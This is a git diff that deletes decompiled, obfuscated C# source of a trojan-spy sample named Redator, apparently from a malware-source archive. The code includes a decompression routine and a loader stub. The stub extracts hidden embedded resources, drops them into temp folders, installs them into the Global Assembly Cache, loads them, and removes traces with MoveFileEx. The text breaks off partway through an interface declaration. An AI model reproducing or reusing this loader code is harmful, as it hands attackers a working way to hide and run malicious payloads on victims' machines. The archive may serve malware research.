this.\u0001.\u0003(this.\u0002); - this.\u0003 += num3; - } - this.\u0001 = 9; - goto case 9; - case 9: - int index = this.\u0002.\u0003(this.\u0001); - if (index < 0) - return false; - this.\u0004 = \u0001.\u0001.\u0003[index]; - this.\u0002 = \u0001.\u0001.\u0004[index]; - goto case 10; - case 10: - if (this.\u0002 > 0) - { - this.\u0001 = 10; - int num4 = this.\u0001.\u0003(this.\u0002); - if (num4 < 0) - return false; - this.\u0001.\u0003(this.\u0002); - this.\u0004 += num4; - } - this.\u0001.\u0003(this.\u0003, this.\u0004); - num1 -= this.\u0003; - this.\u0001 = 7; - continue; - default: - continue; - } - } - return true; - } - - private bool \u0004() - { - switch (this.\u0001) - { - case 2: - if (this.\u0001) - { - this.\u0001 = 12; - return false; - } - int num = this.\u0001.\u0003(3); - if (num < 0) - return false; - this.\u0001.\u0003(3); - if ((num & 1) != 0) - this.\u0001 = true; - switch (num >> 1) - { - case 0: - this.\u0001.\u0003(); - this.\u0001 = 3; - break; - case 1: - this.\u0001 = \u0001.\u0004.\u0001; - this.\u0002 = \u0001.\u0004.\u0002; - this.\u0001 = 7; - break; - case 2: - this.\u0001 = new \u0001.\u0005(); - this.\u0001 = 6; - break; - } - return true; - case 3: - if ((this.\u0005 = this.\u0001.\u0003(16)) < 0) - return false; - this.\u0001.\u0003(16); - this.\u0001 = 4; - goto case 4; - case 4: - if (this.\u0001.\u0003(16) < 0) - return false; - this.\u0001.\u0003(16); - this.\u0001 = 5; - goto case 5; - case 5: - this.\u0005 -= this.\u0001.\u0003(this.\u0001, this.\u0005); - if (this.\u0005 != 0) - return !this.\u0001.\u0003(); - this.\u0001 = 2; - return true; - case 6: - if (!this.\u0001.\u0003(this.\u0001)) - return false; - this.\u0001 = this.\u0001.\u0003(); - this.\u0002 = this.\u0001.\u0004(); - this.\u0001 = 7; - goto case 7; - case 7: - case 8: - case 9: - case 10: - return this.\u0003(); - case 12: - return false; - default: - return false; - } - } - - public int \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - int num1 = 0; - do - { - if (this.\u0001 != 11) - goto label_5; -label_2: - continue; -label_5: - int num2 = this.\u0001.\u0003(obj0, obj1, obj2); - obj1 += num2; - num1 += num2; - obj2 -= num2; - if (obj2 != 0) - goto label_2; - else - goto label_1; - } - while (this.\u0004() || this.\u0001.\u0004() > 0 && this.\u0001 != 11); - goto label_3; -label_1: - return num1; -label_3: - return num1; - } - } - - internal sealed class \u0002 - { - private byte[] \u0001; - private int \u0001; - private int \u0002; - private uint \u0001; - private int \u0003; - - public int \u0003([In] int obj0) - { - if (this.\u0003 < obj0) - goto label_4; -label_3: - return (int) ((long) this.\u0001 & (long) ((1 << obj0) - 1)); -label_4: - if (this.\u0001 == this.\u0002) - return -1; - this.\u0001 |= (uint) (((int) this.\u0001[this.\u0001++] & (int) byte.MaxValue | ((int) this.\u0001[this.\u0001++] & (int) byte.MaxValue) << 8) << this.\u0003); - this.\u0003 += 16; - goto label_3; - } - - public void \u0003([In] int obj0) - { - this.\u0001 >>= obj0; - this.\u0003 -= obj0; - } - - [SpecialName] - public int \u0003() => this.\u0003; - - [SpecialName] - public int \u0004() => this.\u0002 - this.\u0001 + (this.\u0003 >> 3); - - public void \u0003() - { - this.\u0001 >>= this.\u0003 & 7; - this.\u0003 &= -8; - } - - [SpecialName] - public bool \u0003() => this.\u0001 == this.\u0002; - - public int \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - int num1 = 0; - while (this.\u0003 > 0 && obj2 > 0) - { - obj0[obj1++] = (byte) this.\u0001; - this.\u0001 >>= 8; - this.\u0003 -= 8; - --obj2; - ++num1; - } - if (obj2 == 0) - return num1; - int num2 = this.\u0002 - this.\u0001; - if (obj2 > num2) - obj2 = num2; - Array.Copy((Array) this.\u0001, this.\u0001, (Array) obj0, obj1, obj2); - this.\u0001 += obj2; - if ((this.\u0001 - this.\u0002 & 1) != 0) - { - this.\u0001 = (uint) this.\u0001[this.\u0001++] & (uint) byte.MaxValue; - this.\u0003 = 8; - } - return num1 + obj2; - } - - public void \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - if (this.\u0001 < this.\u0002) - throw new InvalidOperationException(); - int num = obj1 + obj2; - if (0 > obj1 || obj1 > num || num > obj0.Length) - throw new ArgumentOutOfRangeException(); - if ((obj2 & 1) != 0) - { - this.\u0001 |= (uint) (((int) obj0[obj1++] & (int) byte.MaxValue) << this.\u0003); - this.\u0003 += 8; - } - this.\u0001 = obj0; - this.\u0001 = obj1; - this.\u0002 = num; - } - } - - internal sealed class \u0003 - { - private static int \u0001 = 32768; - private static int \u0002 = \u0001.\u0003.\u0001 - 1; - private byte[] \u0001 = new byte[\u0001.\u0003.\u0001]; - private int \u0003; - private int \u0004; - - public void \u0003([In] int obj0) - { - \u0001.\u0003 obj = this; - int num1; - int num2 = num1 = obj.\u0004; - obj.\u0004 = num1 + 1; - if (num2 == \u0001.\u0003.\u0001) - throw new InvalidOperationException(); - this.\u0001[this.\u0003++] = (byte) obj0; - this.\u0003 &= \u0001.\u0003.\u0002; - } - - private void \u0003([In] int obj0, [In] int obj1, [In] int obj2) - { - while (obj1-- > 0) - { - byte[] numArray = this.\u0001; - \u0001.\u0003 obj = this; - int num1; - int num2 = num1 = obj.\u0003; - obj.\u0003 = num1 + 1; - int index = num2; - int num3 = (int) this.\u0001[obj0++]; - numArray[index] = (byte) num3; - this.\u0003 &= \u0001.\u0003.\u0002; - obj0 &= \u0001.\u0003.\u0002; - } - } - - public void \u0003([In] int obj0, [In] int obj1) - { - if ((this.\u0004 += obj0) > \u0001.\u0003.\u0001) - throw new InvalidOperationException(); - int sourceIndex = this.\u0003 - obj1 & \u0001.\u0003.\u0002; - int num = \u0001.\u0003.\u0001 - obj0; - if (sourceIndex <= num && this.\u0003 < num) - { - if (obj0 <= obj1) - { - Array.Copy((Array) this.\u0001, sourceIndex, (Array) this.\u0001, this.\u0003, obj0); - this.\u0003 += obj0; - } - else - { - while (obj0-- > 0) - this.\u0001[this.\u0003++] = this.\u0001[sourceIndex++]; - } - } - else - this.\u0003(sourceIndex, obj0, obj1); - } - - public int \u0003([In] \u0001.\u0002 obj0, [In] int obj1) - { - obj1 = Math.Min(Math.Min(obj1, \u0001.\u0003.\u0001 - this.\u0004), obj0.\u0004()); - int num1 = \u0001.\u0003.\u0001 - this.\u0003; - int num2; - if (obj1 > num1) - { - num2 = obj0.\u0003(this.\u0001, this.\u0003, num1); - if (num2 == num1) - num2 += obj0.\u0003(this.\u0001, 0, obj1 - num1); - } - else - num2 = obj0.\u0003(this.\u0001, this.\u0003, obj1); - this.\u0003 = this.\u0003 + num2 & \u0001.\u0003.\u0002; - this.\u0004 += num2; - return num2; - } - - public int \u0003() => \u0001.\u0003.\u0001 - this.\u0004; - - public int \u0004() => this.\u0004; - - public int \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - int num1 = this.\u0003; - if (obj2 > this.\u0004) - obj2 = this.\u0004; - else - num1 = this.\u0003 - this.\u0004 + obj2 & \u0001.\u0003.\u0002; - int num2 = obj2; - int length = obj2 - num1; - if (length > 0) - { - Array.Copy((Array) this.\u0001, \u0001.\u0003.\u0001 - length, (Array) obj0, obj1, length); - obj1 += length; - obj2 = num1; - } - Array.Copy((Array) this.\u0001, num1 - obj2, (Array) obj0, obj1, obj2); - this.\u0004 -= num2; - if (this.\u0004 < 0) - throw new InvalidOperationException(); - return num2; - } - } - - internal sealed class \u0004 - { - private static int \u0001 = 15; - private short[] \u0001; - public static \u0001.\u0004 \u0001; - public static \u0001.\u0004 \u0002; - - static \u0004() - { - byte[] numArray1 = new byte[288]; - int num1 = 0; - while (num1 < 144) - numArray1[num1++] = (byte) 8; - while (num1 < 256) - numArray1[num1++] = (byte) 9; - while (num1 < 280) - numArray1[num1++] = (byte) 7; - while (num1 < 288) - numArray1[num1++] = (byte) 8; - \u0001.\u0004.\u0001 = new \u0001.\u0004(numArray1); - byte[] numArray2 = new byte[32]; - int num2 = 0; - while (num2 < 32) - numArray2[num2++] = (byte) 5; - \u0001.\u0004.\u0002 = new \u0001.\u0004(numArray2); - } - - public \u0004([In] byte[] obj0) => this.\u0003(obj0); - - private void \u0003([In] byte[] obj0) - { - int[] numArray1 = new int[\u0001.\u0004.\u0001 + 1]; - int[] numArray2 = new int[\u0001.\u0004.\u0001 + 1]; - for (int index1 = 0; index1 < obj0.Length; ++index1) - { - int index2 = (int) obj0[index1]; - if (index2 > 0) - ++numArray1[index2]; - } - int num1 = 0; - int length = 512; - for (int index = 1; index <= \u0001.\u0004.\u0001; ++index) - { - numArray2[index] = num1; - num1 += numArray1[index] << 16 - index; - if (index >= 10) - { - int num2 = numArray2[index] & 130944; - int num3 = num1 & 130944; - length += num3 - num2 >> 16 - index; - } - } - this.\u0001 = new short[length]; - int num4 = 512; - for (int index3 = \u0001.\u0004.\u0001; index3 >= 10; --index3) - { - int num5 = num1 & 130944; - num1 -= numArray1[index3] << 16 - index3; - for (int index4 = num1 & 130944; index4 < num5; index4 += 128) - { - this.\u0001[(int) \u0001.\u0006.\u0003(index4)] = (short) (-num4 << 4 | index3); - num4 += 1 << index3 - 9; - } - } - for (int index5 = 0; index5 < obj0.Length; ++index5) - { - int index6 = (int) obj0[index5]; - if (index6 != 0) - { - int num6 = numArray2[index6]; - int index7 = (int) \u0001.\u0006.\u0003(num6); - if (index6 <= 9) - { - do - { - this.\u0001[index7] = (short) (index5 << 4 | index6); - index7 += 1 << index6; - } - while (index7 < 512); - } - else - { - int num7 = (int) this.\u0001[index7 & 511]; - int num8 = 1 << (num7 & 15); - int num9 = -(num7 >> 4); - do - { - this.\u0001[num9 | index7 >> 9] = (short) (index5 << 4 | index6); - index7 += 1 << index6; - } - while (index7 < num8); - } - numArray2[index6] = num6 + (1 << 16 - index6); - } - } - } - - public int \u0003([In] \u0001.\u0002 obj0) - { - int index; - if ((index = obj0.\u0003(9)) >= 0) - { - int num1; - if ((num1 = (int) this.\u0001[index]) >= 0) - { - obj0.\u0003(num1 & 15); - return num1 >> 4; - } - int num2 = -(num1 >> 4); - int num3 = num1 & 15; - int num4; - if ((num4 = obj0.\u0003(num3)) >= 0) - { - int num5 = (int) this.\u0001[num2 | num4 >> 9]; - obj0.\u0003(num5 & 15); - return num5 >> 4; - } - int num6 = obj0.\u0003(); - int num7 = obj0.\u0003(num6); - int num8 = (int) this.\u0001[num2 | num7 >> 9]; - if ((num8 & 15) > num6) - return -1; - obj0.\u0003(num8 & 15); - return num8 >> 4; - } - int num9 = obj0.\u0003(); - int num10 = (int) this.\u0001[obj0.\u0003(num9)]; - if (num10 < 0 || (num10 & 15) > num9) - return -1; - obj0.\u0003(num10 & 15); - return num10 >> 4; - } - } - - internal sealed class \u0005 - { - private static readonly int[] \u0001 = new int[3] - { - 3, - 3, - 11 - }; - private static readonly int[] \u0002 = new int[3] - { - 2, - 3, - 7 - }; - private byte[] \u0001; - private byte[] \u0002; - private \u0001.\u0004 \u0001; - private int \u0001; - private int \u0002; - private int \u0003; - private int \u0004; - private int \u0005; - private int \u0006; - private byte \u0001; - private int \u0007; - private static readonly int[] \u0003 = new int[19] - { - 16, - 17, - 18, - 0, - 8, - 7, - 9, - 6, - 10, - 5, - 11, - 4, - 12, - 3, - 13, - 2, - 14, - 1, - 15 - }; - - public bool \u0003([In] \u0001.\u0002 obj0) - { - while (true) - { - switch (this.\u0001) - { - case 0: - this.\u0002 = obj0.\u0003(5); - if (this.\u0002 >= 0) - { - this.\u0002 += 257; - obj0.\u0003(5); - this.\u0001 = 1; - goto case 1; - } - else - goto label_2; - case 1: - this.\u0003 = obj0.\u0003(5); - if (this.\u0003 >= 0) - { - ++this.\u0003; - obj0.\u0003(5); - this.\u0005 = this.\u0002 + this.\u0003; - this.\u0002 = new byte[this.\u0005]; - this.\u0001 = 2; - goto case 2; - } - else - goto label_5; - case 2: - this.\u0004 = obj0.\u0003(4); - if (this.\u0004 >= 0) - { - this.\u0004 += 4; - obj0.\u0003(4); - this.\u0001 = new byte[19]; - this.\u0007 = 0; - this.\u0001 = 3; - goto case 3; - } - else - goto label_8; - case 3: - for (; this.\u0007 < this.\u0004; ++this.\u0007) - { - int num = obj0.\u0003(3); - if (num < 0) - return false; - obj0.\u0003(3); - this.\u0001[\u0001.\u0005.\u0003[this.\u0007]] = (byte) num; - } - this.\u0001 = new \u0001.\u0004(this.\u0001); - this.\u0001 = (byte[]) null; - this.\u0007 = 0; - this.\u0001 = 4; - goto case 4; - case 4: - int num1; - while (((num1 = this.\u0001.\u0003(obj0)) & -16) == 0) - { - this.\u0002[this.\u0007++] = this.\u0001 = (byte) num1; - if (this.\u0007 == this.\u0005) - return true; - } - if (num1 >= 0) - { - if (num1 >= 17) - this.\u0001 = (byte) 0; - this.\u0006 = num1 - 16; - this.\u0001 = 5; - goto case 5; - } - else - goto label_19; - case 5: - int num2 = \u0001.\u0005.\u0002[this.\u0006]; - int num3 = obj0.\u0003(num2); - if (num3 >= 0) - { - obj0.\u0003(num2); - int num4 = num3 + \u0001.\u0005.\u0001[this.\u0006]; - while (num4-- > 0) - this.\u0002[this.\u0007++] = this.\u0001; - if (this.\u0007 != this.\u0005) - { - this.\u0001 = 4; - continue; - } - goto label_29; - } - else - goto label_24; - default: - continue; - } - } -label_2: - return false; -label_5: - return false; -label_8: - return false; -label_19: - return false; -label_24: - return false; -label_29: - return true; - } - - public \u0001.\u0004 \u0003() - { - byte[] destinationArray = new byte[this.\u0002]; - Array.Copy((Array) this.\u0002, 0, (Array) destinationArray, 0, this.\u0002); - return new \u0001.\u0004(destinationArray); - } - - public \u0001.\u0004 \u0004() - { - byte[] destinationArray = new byte[this.\u0003]; - Array.Copy((Array) this.\u0002, this.\u0002, (Array) destinationArray, 0, this.\u0003); - return new \u0001.\u0004(destinationArray); - } - } - - internal sealed class \u0006 - { - private static int \u0001 = 16384; - private static int \u0002 = 286; - private static int \u0003 = 30; - private static int \u0004 = 19; - private static int \u0005 = 16; - private static int \u0006 = 17; - private static int \u0007 = 18; - private static int \u0008 = 256; - private static int[] \u0001 = new int[19] - { - 16, - 17, - 18, - 0, - 8, - 7, - 9, - 6, - 10, - 5, - 11, - 4, - 12, - 3, - 13, - 2, - 14, - 1, - 15 - }; - private static byte[] \u0001 = new byte[16] - { - (byte) 0, - (byte) 8, - (byte) 4, - (byte) 12, - (byte) 2, - (byte) 10, - (byte) 6, - (byte) 14, - (byte) 1, - (byte) 9, - (byte) 5, - (byte) 13, - (byte) 3, - (byte) 11, - (byte) 7, - (byte) 15 - }; - private static short[] \u0001 = new short[\u0001.\u0006.\u0002]; - private static byte[] \u0002 = new byte[\u0001.\u0006.\u0002]; - private static short[] \u0002; - private static byte[] \u0003; - - public static short \u0003([In] int obj0) => (short) ((int) \u0001.\u0006.\u0001[obj0 & 15] << 12 | (int) \u0001.\u0006.\u0001[obj0 >> 4 & 15] << 8 | (int) \u0001.\u0006.\u0001[obj0 >> 8 & 15] << 4 | (int) \u0001.\u0006.\u0001[obj0 >> 12]); - - static \u0006() - { - int index1; - for (index1 = 0; index1 < 144; \u0001.\u0006.\u0002[index1++] = (byte) 8) - \u0001.\u0006.\u0001[index1] = \u0001.\u0006.\u0003(48 + index1 << 8); - for (; index1 < 256; \u0001.\u0006.\u0002[index1++] = (byte) 9) - \u0001.\u0006.\u0001[index1] = \u0001.\u0006.\u0003(256 + index1 << 7); - for (; index1 < 280; \u0001.\u0006.\u0002[index1++] = (byte) 7) - \u0001.\u0006.\u0001[index1] = \u0001.\u0006.\u0003(index1 - 256 << 9); - for (; index1 < \u0001.\u0006.\u0002; \u0001.\u0006.\u0002[index1++] = (byte) 8) - \u0001.\u0006.\u0001[index1] = \u0001.\u0006.\u0003(index1 - 88 << 8); - \u0001.\u0006.\u0002 = new short[\u0001.\u0006.\u0003]; - \u0001.\u0006.\u0003 = new byte[\u0001.\u0006.\u0003]; - for (int index2 = 0; index2 < \u0001.\u0006.\u0003; ++index2) - { - \u0001.\u0006.\u0002[index2] = \u0001.\u0006.\u0003(index2 << 11); - \u0001.\u0006.\u0003[index2] = (byte) 5; - } - } - } - - internal sealed class \u0007 : MemoryStream - { - public int \u0003() => this.ReadByte() | this.ReadByte() << 8; - - public int \u0004() => this.\u0003() | this.\u0003() << 16; - - public \u0007([In] byte[] obj0) - : base(obj0, false) - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0002/_0002.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0002/_0002.cs deleted file mode 100644 index 2abf7983..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0002/_0002.cs +++ /dev/null @@ -1,50 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f.exe - -using System.Runtime.InteropServices; - -namespace \u0002 -{ - internal sealed class \u0002 - { - internal static long \u0001; - internal static long \u0002; - internal static \u0002.\u0002.\u0001 \u0001; - internal static \u0002.\u0002.\u0001 \u0002; - internal static \u0002.\u0002.\u0002 \u0001; - internal static \u0002.\u0002.\u0002 \u0002; - internal static \u0002.\u0002.\u0003 \u0001; - internal static \u0002.\u0002.\u0003 \u0002; - internal static \u0002.\u0002.\u0004 \u0001; - internal static \u0002.\u0002.\u0004 \u0002; - internal static \u0002.\u0002.\u0005 \u0001; - - [StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)] - private struct \u0001 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 120, Pack = 1)] - private struct \u0002 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 12, Pack = 1)] - private struct \u0003 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 76, Pack = 1)] - private struct \u0004 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 16, Pack = 1)] - private struct \u0005 - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0002/_0003.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0002/_0003.cs deleted file mode 100644 index 2d7cb573..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0002/_0003.cs +++ /dev/null @@ -1,300 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f.exe - -using System; -using System.Collections; -using System.Diagnostics; -using System.IO; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; - -namespace \u0002 -{ - internal class \u0003 - { - private static Hashtable \u0001 = new Hashtable(); - - [DllImport("kernel32", EntryPoint = "MoveFileEx")] - private static extern bool \u0003([In] string obj0, [In] string obj1, [In] int obj2); - - [SpecialName] - internal static bool \u0003() - { - try - { - string lower = Process.GetCurrentProcess().MainModule.ModuleName.ToLower(); - if (lower == \u0001.\u0001.\u0003(248)) - return true; - if (lower == \u0001.\u0001.\u0003(261)) - return true; - } - catch (Exception ex) - { - } - return false; - } - - internal static void \u0003() - { - try - { - AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(\u0002.\u0003.\u0003); - if (!Assembly.GetExecutingAssembly().GlobalAssemblyCache || !\u0002.\u0003.\u0003()) - return; - string[] strArray = \u0001.\u0001.\u0003(282).Split(','); - for (int index = 0; index < strArray.Length - 1; index += 2) - { - try - { - string str1 = Encoding.UTF8.GetString(Convert.FromBase64String(strArray[index])); - string str2 = strArray[index + 1]; - if (str2.Length > 0) - { - if (str2[0] == '[') - { - int num = str2.IndexOf(']'); - string str3 = str2.Substring(1, num - 1); - string name = str2.Substring(num + 1); - bool flag = str3.IndexOf('z') >= 0; - if (str3.IndexOf('f') >= 0) - { - Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(name); - if (manifestResourceStream != null) - { - int length = (int) manifestResourceStream.Length; - byte[] buffer = new byte[length]; - manifestResourceStream.Read(buffer, 0, length); - if (flag) - buffer = \u0002.\u0001.\u0003(buffer); - try - { - string path1 = string.Format(\u0001.\u0001.\u0003(500), (object) Path.GetTempPath(), (object) name); - Directory.CreateDirectory(path1); - \u0002.\u0003.\u0001 obj = new \u0002.\u0003.\u0001(str1); - string path2 = path1 + obj.\u0001 + \u0001.\u0001.\u0003(513); - if (!File.Exists(path2)) - { - FileStream fileStream = File.OpenWrite(path2); - fileStream.Write(buffer, 0, buffer.Length); - fileStream.Close(); - } - \u0003.\u0001.\u0003(path2); - try - { - File.Delete(path2); - Directory.Delete(path1); - } - catch - { - } - } - catch (Exception ex) - { - } - } - } - } - } - } - catch (Exception ex) - { - } - } - } - catch (Exception ex) - { - } - } - - internal static Assembly \u0003([In] object obj0, [In] ResolveEventArgs obj1) - { - \u0002.\u0003.\u0001 obj = new \u0002.\u0003.\u0001(obj1.Name); - string base64String1 = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u0003(false))); - string[] strArray = \u0001.\u0001.\u0003(282).Split(','); - string str1 = string.Empty; - bool flag1 = false; - bool flag2 = false; - bool flag3 = false; - for (int index = 0; index < strArray.Length - 1; index += 2) - { - if (strArray[index] == base64String1) - { - str1 = strArray[index + 1]; - break; - } - } - if (str1.Length == 0 && obj.\u0003.Length == 0) - { - string base64String2 = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u0001)); - for (int index = 0; index < strArray.Length - 1; index += 2) - { - if (strArray[index] == base64String2) - { - str1 = strArray[index + 1]; - break; - } - } - } - if (str1.Length > 0) - { - if (str1[0] == '[') - { - int num = str1.IndexOf(']'); - string str2 = str1.Substring(1, num - 1); - flag1 = str2.IndexOf('z') >= 0; - flag2 = str2.IndexOf('g') >= 0; - flag3 = str2.IndexOf('t') >= 0; - str1 = str1.Substring(num + 1); - } - lock (\u0002.\u0003.\u0001) - { - if (\u0002.\u0003.\u0001.ContainsKey((object) str1)) - return (Assembly) \u0002.\u0003.\u0001[(object) str1]; - } - Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(str1); - if (manifestResourceStream != null) - { - int length = (int) manifestResourceStream.Length; - byte[] numArray = new byte[length]; - manifestResourceStream.Read(numArray, 0, length); - if (flag1) - numArray = \u0002.\u0001.\u0003(numArray); - if (flag2) - { - try - { - string path1 = string.Format(\u0001.\u0001.\u0003(500), (object) Path.GetTempPath(), (object) str1); - Directory.CreateDirectory(path1); - string path2 = path1 + obj.\u0001 + \u0001.\u0001.\u0003(513); - if (!File.Exists(path2)) - { - Assembly assembly = (Assembly) null; - FileStream fileStream = File.OpenWrite(path2); - fileStream.Write(numArray, 0, numArray.Length); - fileStream.Close(); - if (\u0003.\u0001.\u0003(path2)) - assembly = Assembly.Load(obj.\u0003(true)); - File.Delete(path2); - Directory.Delete(path1); - if ((object) assembly != null) - { - lock (\u0002.\u0003.\u0001) - { - if (\u0002.\u0003.\u0001.ContainsKey((object) str1)) - assembly = (Assembly) \u0002.\u0003.\u0001[(object) str1]; - else - \u0002.\u0003.\u0001.Add((object) str1, (object) assembly); - } - return assembly; - } - } - } - catch - { - } - } - Assembly assembly1 = (Assembly) null; - if (!flag3) - { - try - { - assembly1 = Assembly.Load(numArray); - } - catch (FileLoadException ex) - { - flag3 = true; - } - catch (BadImageFormatException ex) - { - flag3 = true; - } - } - if (flag3) - { - try - { - string path3 = string.Format(\u0001.\u0001.\u0003(500), (object) Path.GetTempPath(), (object) str1); - Directory.CreateDirectory(path3); - string path4 = path3 + obj.\u0001 + \u0001.\u0001.\u0003(513); - if (!File.Exists(path4)) - { - FileStream fileStream = File.OpenWrite(path4); - fileStream.Write(numArray, 0, numArray.Length); - fileStream.Close(); - \u0002.\u0003.\u0003(path4, (string) null, 4); - \u0002.\u0003.\u0003(path3, (string) null, 4); - } - assembly1 = Assembly.LoadFile(path4); - } - catch - { - } - } - lock (\u0002.\u0003.\u0001) - \u0002.\u0003.\u0001.Add((object) str1, (object) assembly1); - return assembly1; - } - } - return (Assembly) null; - } - - internal struct \u0001 - { - public string \u0001; - public Version \u0001; - public string \u0002; - public string \u0003; - - public string \u0003([In] bool obj0) - { - StringBuilder stringBuilder = new StringBuilder(); - stringBuilder.Append(this.\u0001); - if (obj0) - { - stringBuilder.Append(\u0001.\u0001.\u0003(522)); - stringBuilder.Append((object) this.\u0001); - } - stringBuilder.Append(\u0001.\u0001.\u0003(539)); - stringBuilder.Append(this.\u0002.Length == 0 ? \u0001.\u0001.\u0003(556) : this.\u0002); - stringBuilder.Append(\u0001.\u0001.\u0003(569)); - stringBuilder.Append(this.\u0003.Length == 0 ? \u0001.\u0001.\u0003(594) : this.\u0003); - return stringBuilder.ToString(); - } - - public \u0001([In] string obj0) - { - this.\u0001 = new Version(); - this.\u0002 = string.Empty; - this.\u0003 = string.Empty; - this.\u0001 = string.Empty; - string str1 = obj0; - char[] chArray = new char[1]{ ',' }; - foreach (string str2 in str1.Split(chArray)) - { - string str3 = str2.Trim(); - if (str3.StartsWith(\u0001.\u0001.\u0003(603))) - this.\u0001 = new Version(str3.Substring(8)); - else if (str3.StartsWith(\u0001.\u0001.\u0003(616))) - { - this.\u0002 = str3.Substring(8); - if (this.\u0002 == \u0001.\u0001.\u0003(556)) - this.\u0002 = string.Empty; - } - else if (str3.StartsWith(\u0001.\u0001.\u0003(629))) - { - this.\u0003 = str3.Substring(15); - if (this.\u0003 == \u0001.\u0001.\u0003(594)) - this.\u0003 = string.Empty; - } - else - this.\u0001 = str3; - } - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0003/_0001.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0003/_0001.cs deleted file mode 100644 index 797855f5..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0003/_0001.cs +++ /dev/null @@ -1,175 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f.exe - -using \u0003; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0003 -{ - internal class \u0001 - { - [DllImport("fusion", EntryPoint = "CreateAssemblyCache", CharSet = CharSet.Auto)] - internal static extern int \u0003(out \u0001.\u0007 ppAsmCache, [In] uint obj1); - - public static bool \u0003([In] string obj0) - { - \u0001.\u0007 ppAsmCache = (\u0001.\u0007) null; - return \u0001.\u0003(out ppAsmCache, 0U) == 0 && ppAsmCache.\u0002(0U, obj0, IntPtr.Zero) == 0; - } - - public struct \u0001 - { - public int \u0001; - public int \u0002; - } - - public struct \u0002 - { - public \u0001.\u0001 \u0001; - public long \u0001; - public Guid \u0001; - public \u0001.\u0001 \u0002; - public int \u0001; - public int \u0002; - public int \u0003; - public \u0001.\u0001 \u0003; - public string \u0001; - public int \u0004; - public int \u0005; - } - - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("0000000c-0000-0000-C000-000000000046")] - [ComImport] - public interface \u0003 - { - void \u0001(IntPtr pv, uint cb, out uint pcbRead); - - void \u0002(IntPtr pv, uint cb, out uint pcbWritten); - - void \u0001(long dlibMove, uint dwOrigin, out ulong plibNewPosition); - - void \u0001(ulong libNewSize); - - void \u0001(\u0001.\u0003 pstm, ulong cb, out ulong pcbRead, out ulong pcbWritten); - - void \u0001(uint grfCommitFlags); - - void \u0001(); - - void \u0001(ulong libOffset, ulong cb, uint dwLockType); - - void \u0002(ulong libOffset, ulong cb, uint dwLockType); - - void \u0001(out \u0001.\u0002 pstatstg, uint grfStatFlag); - - void \u0001(out \u0001.\u0003 ppstm); - } - - [Guid("7c23ff90-33af-11d3-95da-00a024a85b51")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - internal interface \u0004 - { - void \u0001(\u0001.\u0005 pName); - - void \u0001(out \u0001.\u0005 ppName); - - void \u0001([MarshalAs(UnmanagedType.LPWStr)] string szName, int pvValue, uint cbValue, uint dwFlags); - - void \u0001([MarshalAs(UnmanagedType.LPWStr)] string szName, out int pvValue, ref uint pcbValue, uint dwFlags); - - 